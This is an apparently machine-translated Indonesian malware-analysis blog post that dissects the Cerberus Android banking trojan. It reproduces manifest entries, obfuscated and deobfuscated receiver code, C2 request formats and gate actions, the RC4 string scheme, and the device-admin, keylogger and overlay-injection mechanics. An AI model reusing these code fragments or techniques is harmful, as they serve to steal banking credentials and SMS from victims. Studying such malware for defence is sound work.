
Pada hidung 2020 dan hari ini kita sudah memiliki Android versi 9.0 Pie, di mana Google berdetak di dada dan mengatakan bahwa produk mereka dilindungi. Tetapi para penjahat tidak tidur dan membuat malware mereka sendiri untuk Android.
Secara acak, saya menemukan file apk yang dikaburkan, yang merupakan malware perbankan yang disebut "Cerberus", dan muncul pada tahun 2019.
File APK botnet ini datang kepada saya dengan alamat koneksi server yang tidak valid, jadi bagian dari logika kerja dan fungsionalitas tetap belum dijelajahi, karena botnet ini menggunakan sistem "modular", dan memuat fungsionalitas langsung dari servernya.
Paket apk Analisis
Setelah menganalisis paket apk, saya menyusun struktur program Trojan:
- Penerima, autorun + alarm;
- Layanan, berjalan dalam siklus dengan interval 8 detik, bertanggung jawab untuk menampilkan pesan pop-up untuk mengaktifkan Layanan Aksesibilitas, mengaktifkan fungsi kunci layar dan menonaktifkan hak administrator;
- Layanan, mengumpulkan data dari sensor perangkat, sehingga malware menerima aktivitas fisik perangkat;
- Layanan, dalam satu siklus mengunci layar perangkat;
- Layanan, bertanggung jawab untuk bertukar data dengan server;
- Aktivitas, memuat kode html di WebView, dan menunjukkan konten, berfungsi untuk menggantikan aktivitas aplikasi bank;
- Aktivitas, meminta izin berbahaya.
- Class, menyimpan sendiri jalur utama (String) dari proyek
Mari kita mulai dengan manifes
Manifes aplikasi cukup menarik, dan Anda dapat menentukan bahwa ini bukan aplikasi sederhana, melainkan malware biasa.
Misalnya, pertimbangkan izin untuk aplikasi:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/>
Di sini Anda dapat melihat bahwa aplikasi mendapat akses ke SMS, kontak, panggilan, Internet, aplikasi dalam mode tidur.
Kami melangkah lebih jauh dan melihat hak istimewa yang memungkinkan aplikasi untuk menjadi yang utama untuk menerima / mengirim SMS, ini adalah penjahat yang digunakan untuk menyembunyikan pesan SMS di ponsel korban.
<activity android:name="com.wfozbladhvnk.ibvtgx.iExuCRAHNmEv"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.SENDTO"/> <data android:scheme="smsto"/> <action android:name="android.intent.action.SEND"/> </intent-filter> </activity> <receiver android:name="com.wfozbladhvnk.ibvtgx.lThcZejcCFe" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <data android:mimeType="application/vnd.wap.mms-message"/> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/> </intent-filter> </receiver> <service android:name="com.wfozbladhvnk.ibvtgx.UwLgqh" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <data android:scheme="sms"/> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <data android:scheme="smsto"/> </intent-filter> </service>
Dan tentu saja Receiver, berfungsi untuk layanan autostart, dan mencegat SMS.
<receiver android:name="com.wfozbladhvnk.ibvtgx.wtawxrmdzej.oClFeoEgobr" android:permission="android.permission.BROADCAST_SMS"> <intent-filter android:priority="979"> <action android:name="android.intent.action.QUICKBOOT_POWERON"/> <action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/> <action android:name="android.intent.action.PACKAGE_ADDED"/> <action android:name="android.intent.action.USER_PRESENT"/> <action android:name="android.intent.action.PACKAGE_REMOVED"/> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> <action android:name="android.provider.Telephony.SMS_DELIVER"/> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver>
Hak administrator, ini sudah jauh lebih menarik. Aplikasi mengharuskan mereka untuk memblokir penghapusan aplikasi (dengan hak administrator diaktifkan, aplikasi tidak akan memiliki tombol "hapus"), serta hak-hak ini akan memungkinkan Anda untuk menghapus semuanya dari perangkat dan memblokir perangkat.
<activity android:theme="@style/Theme.NoDisplay" android:label="" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.ZQoykALT" android:excludeFromRecents="true"/> <receiver android:label="System Driver" android:name="com.wfozbladhvnk.ibvtgx.hwefoncq.LuMBTH" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@xml/ypqvk"/> <intent-filter android:priority="121"> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/> <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED"/> </intent-filter> </receiver>
Nah, yang paling menarik adalah Layanan Aksesibilitas. Ini digunakan agar malware dapat mengklik layar itu sendiri, dan memberikan dirinya sendiri izin yang diperlukan, termasuk hak admin. Melalui izin ini, penyerang memantau semua tindakan pengguna pada perangkat.
<service android:label="Flash Player Service" android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.BEUZLDTj" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> <meta-data android:name="android.accessibilityservice" android:resource="@xml/ikxclmrgfqap"/> </service>
Nah, sisa layanan dan aktivitas yang tidak begitu diminati tanpa alamat server Malvari yang valid.
<activity android:label="mhudtqw" android:name="com.wfozbladhvnk.ibvtgx.wsdckwoau"/> <service android:name="com.wfozbladhvnk.ibvtgx.coimtetkf"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.dYDbaxro"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HvGIrpl"/> <service android:name="com.wfozbladhvnk.ibvtgx.iyqvybm.HnzCyZAKNVN"/>
Secara umum, malware tidak menggunakan sesuatu yang supernatural, ia tidak menggunakan 0-hari di android. Penyerang perlu mendapatkan satu izin dari korban, dan tidak lebih, maka malware akan melakukan semuanya sendiri.
Google perlu membatasi beberapa kemampuan API untuk aplikasi non-putar.
Penerima
Kode kelas ini dikaburkan, tetapi ini tidak mencegahnya dipelajari.
Kode yang dikaburkan public void onReceive(Context context, Intent intent) { int i; C0005b bVar; String str; String sb; if (!this.f345b.mo39d(context, this.f344a.f243g).contains(this.f344a.f45aS) && !this.f345b.mo32b(context)) { this.f345b.mo24a(this.f347d, this.f344a.f46aT); C0005b bVar2 = this.f345b; this.f344a.getClass(); C0005b.m16a(context, "", 10000); int i2 = 0; while (true) { if (i2 < this.f344a.f241ec.length) { if (VERSION.SDK_INT >= 26 && !this.f346c.mo14b(context)) { break; } if (this.f345b.mo25a(context, this.f344a.f241ec[i2])) { if (ppknbeydxzuwxxv.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.stopService(new Intent(context, this.f344a.f241ec[i2])); } bVar = this.f345b; str = this.f347d; StringBuilder sb2 = new StringBuilder(); sb2.append(this.f344a.f90bK); sb2.append(this.f344a.f241ec[i2]); sb = sb2.toString(); } else if (lsbcgaldiywkd.class.getName().equals(this.f344a.f241ec[i2].getName())) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb3 = new StringBuilder(); sb3.append(this.f344a.f88bI); sb3.append(this.f344a.f241ec[i2]); sb = sb3.toString(); } else { int parseInt = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f47aU)); this.f344a.getClass(); if (parseInt >= 0) { context.startService(new Intent(context, this.f344a.f241ec[i2])); bVar = this.f345b; str = this.f347d; StringBuilder sb4 = new StringBuilder(); sb4.append(this.f344a.f89bJ); sb4.append(this.f344a.f241ec[i2]); sb = sb4.toString(); } else { i2++; } } bVar.mo24a(str, sb); i2++; } else { break; } } this.f345b.mo23a(this.f347d, context); this.f345b.mo22a(context, this.f344a.f259w, this.f345b.mo33b(context, pzjzcxauihlf.class) ? this.f344a.f42aP : this.f344a.f39aM); if (intent.getAction().equals(this.f344a.f29aC)) { this.f345b.mo20a(context, intent); } try { i = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f58af)); int parseInt2 = Integer.parseInt(this.f345b.mo39d(context, this.f344a.f57ae)) + 1; i++; C0005b bVar3 = this.f345b; String str2 = this.f344a.f57ae; StringBuilder sb5 = new StringBuilder(); this.f344a.getClass(); sb5.append(""); sb5.append(parseInt2); bVar3.mo22a(context, str2, sb5.toString()); C0005b bVar4 = this.f345b; String str3 = this.f344a.f58af; StringBuilder sb6 = new StringBuilder(); this.f344a.getClass(); sb6.append(""); sb6.append(i); bVar4.mo22a(context, str3, sb6.toString()); } catch (Exception e2) { e = e2; i = 0; C0005b bVar5 = this.f345b; String str4 = this.f344a.f252p; StringBuilder sb7 = new StringBuilder(); sb7.append("(pro8) | vvcy "); sb7.append(e.toString()); sb7.append("::endLog::"); bVar5.mo31b(context, str4, sb7.toString()); if (i >= 3) { return; } return; } if (i >= 3 && !this.f345b.mo46i(context) && this.f345b.mo48k(context) && this.f345b.mo33b(context, pzjzcxauihlf.class)) { if (this.f345b.mo33b(context, pzjzcxauihlf.class)) { this.f345b.mo22a(context, this.f344a.f12M, this.f344a.f42aP); } Intent intent2 = new Intent(context, lvhxcug.class); intent2.putExtra(this.f344a.f87bH, this.f344a.f42aP); intent2.addFlags(268435456); intent2.addFlags(536870912); intent2.addFlags(1073741824); context.startActivity(intent2); C0005b bVar6 = this.f345b; String str5 = this.f344a.f58af; StringBuilder sb8 = new StringBuilder(); this.f344a.getClass(); sb8.append(""); sb8.append(0); bVar6.mo22a(context, str5, sb8.toString()); } } }
Dan sekarang sedikit penjelasan tentang kodenya.
Pengaturan Malvari disimpan dalam file XML, file ini terletak di direktori
/data/data/package_name/shared_prefs/Settings.xml- public String ReadXML - metode untuk pengaturan membaca
- public String SaveXML - metode untuk menyimpan pengaturan
- public boolean DozeMode - Memeriksa apakah Doze Mode diaktifkan
- kelas publik Service_fa extends Service - Layanan untuk merakit aktivitas fisik perangkat (langkah-langkah, menggoyangkan ponsel, dll.)
- Service_server kelas publik memperluas Layanan - Layanan untuk menyambung ke server
- kelas publik Service_event_loop extends Service - Layanan yang berjalan dalam loop tak terbatas untuk melakukan beberapa fungsi malvari
- public void startOffDozeMode - permintaan untuk menonaktifkan Doze Mode
- public void startAlarm - Mulai penerima setiap 10 detik
- public void interceptionSMS - Metode untuk bekerja dengan intersepsi SMS
- public boolean isAccessibilityService - metode untuk memeriksa apakah Layanan Accesibility diaktifkan atau tidak
- public boolean cis - metode yang memblokir operasi malvari di negara-negara yang termasuk dalam CIS, yaitu: ua, ru, oleh, tj, uz, tm, az, am, kz, kg, dan md (disingkat nama negara)
Saya mencoba membawa kode yang dikaburkan di atas ke dalam bentuk yang lebih mudah dibaca dan normal:
Kode yang bisa dibaca public void onReceive(Context context, Intent intent) { public Class[] arrayService = {Service_fa.class, Service_server.class, Service_event_loop.class}; if ((!ReadXML(context, "kill").contains("dead")) && (!cis(context))) { startAlarm(context, "", 10000); for (int i = 0; i < arrayService.length; i++) { if ((Build.VERSION.SDK_INT >= 26) && (!DozeMode(context))) break; if (!isMyServiceRunning(context, arrayService[i])) { if (Service_fa.class.getName().equals(arrayService[i].getName())) { startService(new Intent(context, arrayService[i])); } else if (Integer.parseInt(ReadXML(context, "step")) >= 1) { startService(new Intent(context, arrayService[i])); } }else{ if(Service_server.class.getName().equals(arrayService[i].getName())){ stopService(new Intent(context, arrayService[i])); } } } startOffDozeMode(context); if (intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) { interceptionSMS(context, intent);
Jadi saya pikir kode ini menjadi lebih dimengerti oleh banyak pembaca.
Receiver memiliki 3 pemicu untuk memicu, yaitu ketika perangkat di-boot ulang, menerima SMS atau ketika Alarmon dimulai.
Receiver juga meluncurkan 3 layanan:
- Pengumpulan aktivitas fisik perangkat (Service_fa)
- Layanan untuk menyambung ke server (Service_server)
- Layanan yang berjalan dalam siklus tanpa akhir untuk menjalankan beberapa fungsi malvari (Service_event_loop)
Pertama-tama, Service_fa diluncurkan dan hanya setelah perangkat aktif (jika pemilik telepon berjalan dan telepon bergetar), Service_server dan Service_event_loop diluncurkan. Mereka adalah proses utama malvari, dengan cara ini malvari dapat menghilangkan perangkat nyata dari emulator dan perangkat penerima, av dan lainnya.
Receiver juga meluncurkan permintaan putuskan Mode Doze dan permintaan konfirmasi administrator.
Karena malware memiliki hak administrator, ia tidak dapat dihapus dari perangkat sampai hak dihapus.
Hak Admin
Mari kita lihat kemungkinan yang kita miliki berkat Perangkat Admin
<?xml version="1.0" encoding="utf-8"?> <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <uses-policies> <force-lock/> <wipe-data/> </uses-policies> </device-admin>
elemen force-lock bertanggung jawab untuk mengunci kunci layar perangkat, dan menghapus data untuk menghapus DATA, CACHE, dan semua memori pada perangkat (set ulang penuh).
Service_fa
Dengan ini kita akan melihat Receiver, dan mempertimbangkan layanan lain. Layanan yang mengambil data dari sensor sensor menggunakan kelas SensorManager, layanan ini hanya menerima data aktivitas dan menyimpannya ke file XML.
Berkat ini, penjahat akan bisa mendapatkan riwayat aktivitas dan menganalisisnya untuk menyingkirkan emulator dan terutama pengguna yang malas.
Service_server
Aliran ini dibuat untuk komunikasi dengan server, data ditransmisikan ke server dalam bentuk terenkripsi menggunakan algoritma enkripsi RC4 yang mengkodekan semua yang ada di base64 setelahnya.
Saat layanan dimulai, permintaan pertama ke server terlihat seperti ini:
{ "id":"qoietjeoisfhjdfhk", "idSettings":"", "number":"+79999999999", "statAdmin":"1", "statProtect":"0", "statScreen":"1", "statAccessibilty":"0", "statSMS":"1", "statCards":"0", "statBanks":"0", "statMails":"0", "activeDevice":"53", "timeWorking":"342", "statDownloadModule":"0", "batteryLevel":"78", "locale":"fr" }
Saya mengisi data yang dikirim ke server secara acak, dengan nama parameter saya pikir semuanya jelas yang mana yang bertanggung jawab untuk apa, kami tidak akan berhenti pada analisis mereka.
Sekarang kita melihat apa tanggapan server, malware memeriksa untuk melihat apakah ia mengembalikan jawaban kosong, jika demikian, maka ia mulai menyortir array domain server dalam satu lingkaran dan mengirimkan permintaan ini ke setiap domain, dan jika responsnya berisi baris == "~ I ~", maka Malware berhenti di domain ini dan mulai bekerja dengannya.
Kami telah memutuskan domain mana yang sedang kami tangani, sekarang kami sedang mencari sisa jawabannya.
Jika Respons == "|| youNeedMoreResources ||" dikembalikan maka segera permintaan dibuat ke server untuk mendapatkan modul malvari tambahan:
gate_url? action = getModule & data = {"idbot": "qoietjeoisfhjdfhk"}Silakan, Respon == "|| no ||"
mengirimkan gate_url? action = registrasi & data = permintaan
JSON ke server:
{ "id":"qoietjeoisfhjdfhk", "android": Build.VERSION.RELEASE, "tag":"tag", "country":"fr", "operator":"Megafon", "model":"Samsung Galaxy S9" }
Permintaan ini berfungsi untuk mendaftarkan pengguna baru di panel admin, ini adalah akhir dari permintaan server.
Tetapi di bawah ini ada kondisi yang memeriksa keberadaan file "system.apk".
Kode yang dikaburkan:
if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){}
Kode sederhana:
if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {}
jika file ada, JSON dihasilkan dalam bentuk:
{ "params":"updateSettingsAndCommands", "response":"data" }
Respons dari server diteruskan ke parameter respons, lalu json diteruskan ke metode yang terletak di modul system.apk dan dijalankan menggunakan kelas DexClassLoader.
Service_event_loop
Layanan ini bekerja dalam satu lingkaran dan menunggu perintah untuk memblokir perangkat. Perangkat diblokir dalam loop menggunakan hak administrator.
DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); deviceManager.lockNow();
Layanan ini dapat menonaktifkan hak administrator, tampaknya penulis malvari memutuskan untuk melakukan ini untuk "penghancuran diri" malvari, agar tidak meninggalkan jejak di ponsel korban.
ComponentName componentName = new ComponentName(this, DeviceAdmin.class); DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); devicePolicyManager.removeActiveAdmin(componentName);
Juga, siklus memiliki 2 kecepatan operasi, 1 detik dan 8 detik, jika Layanan Aksesibilitas dinonaktifkan, ia bekerja pada 1 detik dan meminta untuk mengaktifkan layanan ini, cukup membuka Aktivitas dan memaksa untuk mengaktifkan fitur-fitur khusus, dalam praktiknya kami akan mempertimbangkan ini secara rinci.
Pada akhir siklus, ada juga implementasi seperti di Service_server, tetapi secara khusus mengirim perintah ke metode yang ada di dalam modul "system.apk" yang dimuat, tetapi parameternya tidak jauh berbeda, lihat JSON:
{ "params":"serviceWorkingWhile", "tick":"100", "idbot":"qoietjeoisfhjdfhk", "accessibility":"1" }
centang - detik yang dihitung siklus layanan, aksesibilitas - memeriksa apakah Layanan Aksesibilitas diaktifkan.
String Kelas
Semua baris di dalam kelas dienkripsi dengan algoritma RC4, dan kemudian disandikan dalam base64.
Contoh:
string terenkripsi: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
di mana 12 karakter pertama straka adalah kunci dekripsi dari algoritma RC4
Kunci: yyshybiwijuj
Ciphertext: YzdkZDdkMjRlYjJmYjU5Y2Qw
Ini adalah bagian dari String kode kelas
public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw"); public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx"); public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA=="); public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy"); public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ="); public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA=="); public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi"); public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5"); public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc=");
Saya menulis sebuah skrip untuk mengubah baris-baris ini ke bentuk normal, ini membantu saya melewati sedikit waktu.
public final String str_statMails = "statMails"; public final String str_activeDevice = "activeDevice"; public final String str_timeWorking = "timeWorking"; public final String str_statDownloadModule = "statDownloadModule"; public final String str_lockDevice = "lockDevice"; public final String str_offSound = "offSound"; public final String str_keylogger = "keylogger"; public final String str_activeInjection = "activeInjection"; public final String str_timeInject = "timeInject";
Kami juga melihat apa yang disimpan di kelas ini:
public final String str_url = "https://twitter.com/LukasStefanko"; public final String str_Accessibility = "Flash Player Service"; public final String str_gate1 = "action=registration&data="; public final String str_gate2 = "action=sendInjectLogs&data="; public final String str_gate3 = "action=sendSmsLogs&data="; public final String str_gate4 = "action=timeInject&data="; public final String str_gate5 = "action=sendKeylogger&data="; public final String str_gate6 = "action=getModule&data="; public final String str_gate7 = "action=checkap&data="; public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]";
Akun Twitter Lukas Stefanko (@LukasStefanko) terdaftar di URL server, tampaknya penulis ingin bercanda atau mengatakan sesuatu kepada Lucas (Ini adalah analis dari NOD32), nama Accessibility Service + juga disimpan di sini di manifes android: label = βFlash Player Layanan β, dan daftar negara tempat malware tidak berfungsi.
Sisanya
Jelaskan secara singkat pekerjaan injeksi. Ini diterapkan secara sederhana, jika Layanan Aksesibilitas diaktifkan, maka layanan ini hanya menangkap acara peluncuran aplikasi perbankan dan meluncurkan aktivitasnya di atas aktivitas bank, di mana ia memiliki objek WebView yang mengunduh html palsu bank, setelah itu menerima data menggunakan JavaScript dan mengirim data ke Server Malvari.
Juga dalam layanan ini diterapkan Keylogger, memblokir penghapusan malware dan klik otomatis pada konfirmasi. Interaksi pemutus keamanan terdeteksi di aplikasi com.miui.securitycenter. Aplikasi ini disebut "Keamanan" yang digunakan pada perangkat Xiaomi, tugas utamanya adalah memantau keamanan data sensitif Anda. Kode juga ditemukan untuk secara otomatis mematikan "Google Play Protect" menggunakan metode autoclick.
Mari kita lanjutkan berlatih
Saya berhasil menemukan penjahat twitter dan mendapatkan tangkapan layar panel admin

Instal paket apk pada emulator dengan API 27.
Ikon flash player yang disebut "Flash Player" muncul di desktop
Kami menunggu ikon, dan kami telah meluncurkan malware.
Setelah memulai Malvari, Aktivitas secara otomatis dimulai dengan persyaratan untuk mengaktifkan Layanan Aksesibilitas, jika Anda menguranginya, itu akan muncul lagi dan ini terjadi dalam satu siklus hingga saya mengaktifkan layanan.
Setelah mengaktifkan kotak centang Layanan Aksesibilitas, transisi otomatis dari pengaturan ke desktop dilakukan, dan saya tidak bisa masuk ke pengaturan Layanan Aksesibilitas lagi, ikon desktop juga menghilang, setelah beberapa detik permintaan mematikan Mode Doze muncul, secara otomatis dimatikan berkat fitur khusus klik otomatis .
Berikutnya dengan cara yang sama adalah konfirmasi otomatis hak administrator. Itu tidak mungkin untuk menghapus malware secara manual karena ketika membuka pengaturan untuk aplikasi ini, secara otomatis keluar kembali (GLOBAL_ACTION_BACK).
Sebenarnya, ini semua ada di bagian pertama, saya akan segera menulis bagian kedua dengan tambahan, dan mungkin dengan modul utama bot ini, karena saya tidak dapat menemukan file apk dari malware dengan tautan yang valid ke server.
Malvari terbalik diimplementasikan bersamaan dengan
keklick1337